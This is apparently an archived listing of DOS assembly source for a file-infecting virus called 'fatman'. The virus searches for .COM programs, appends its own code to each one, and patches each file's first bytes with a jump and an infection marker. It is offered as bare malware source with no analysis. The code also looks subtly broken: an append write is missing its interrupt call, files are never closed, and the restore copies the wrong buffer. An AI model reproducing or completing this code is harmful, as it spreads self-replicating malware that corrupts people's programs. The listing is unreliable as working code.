home *** CD-ROM | disk | FTP | other *** search
- code segment'code'
- assume cs:code, ds:code, ss:code, es:code
- org 100h
- dta equ endcode + 10
- fatmanid equ 34
- start:
-
- jmp virus
- hoststart:
- db 90h,90h,90h ;NOP
- db 0cdh,020h,1ah,1ah ;INT 20
- hostend:
- virus:
- call $ + 2
- fatman:
- pop bp ;Search for next files
- sub bp,offset fatman
- mov ah,1ah
- lea dx,[bp +dta]
- int 21h
- mov ah,4eh
- lea dx,[bp + filespec]
- xor cx,cx
- fileloop:
- int 21h
- jc quit
- mov ax,3d02h ;Open file read and write
- lea dx,[bp + offset dta + 30] ;Move the offset of filename
- int 21h ;into dx register
- jc quit
- xchg bx,ax
- mov ah,3fh ;read from file
- mov cx,4 ;read 4 bytes off file
- lea dx,[bp + orgjmp] ;store the 4 bytes
- int 21h
- mov ax,4202h ;point to end of file
- xor cx,cx
- xor dx,dx
- int 21h
- sub ax,03h ;Back three bytes from org
- mov [bp + newjmp + 2], ah ;high location
- mov [bp + newjmp + 1], al ;low location
- mov [bp + newjmp + 3], fatmanid;his ID
- mov ah,0e9h ;JMP
- mov [bp + newjmp],ah
- mov ah,40h ;write to file
- mov cx,endcode - virus
- lea dx,[bp + virus]
- jc quit
- mov ax,4200h ;Moving to TOP of file
- xor cx,cx
- xor dx,dx
- int 21h
- mov ah,40h ;writing 4 bytes to top of file
- mov cx,4
- lea dx,[bp + offset newjmp]
- int 21h
- mov ah,1ah
- mov dx,080h
- int 21h
- quit:
- lea si,[bp + offset thisjmp]
- mov di,0100h
- mov cx,04h
- cld
- rep movsb
- mov di,0100h
- jmp di
-
-
-
-
- filespec db '*.COM',0
- orgjmp db 4 dup (?)
- newjmp db 4 dup (?)
- thisjmp db 4 dup (?)
- oldjmp db 09h,0cdh,020h,90h
- endcode:
-
- code ends
- end start
-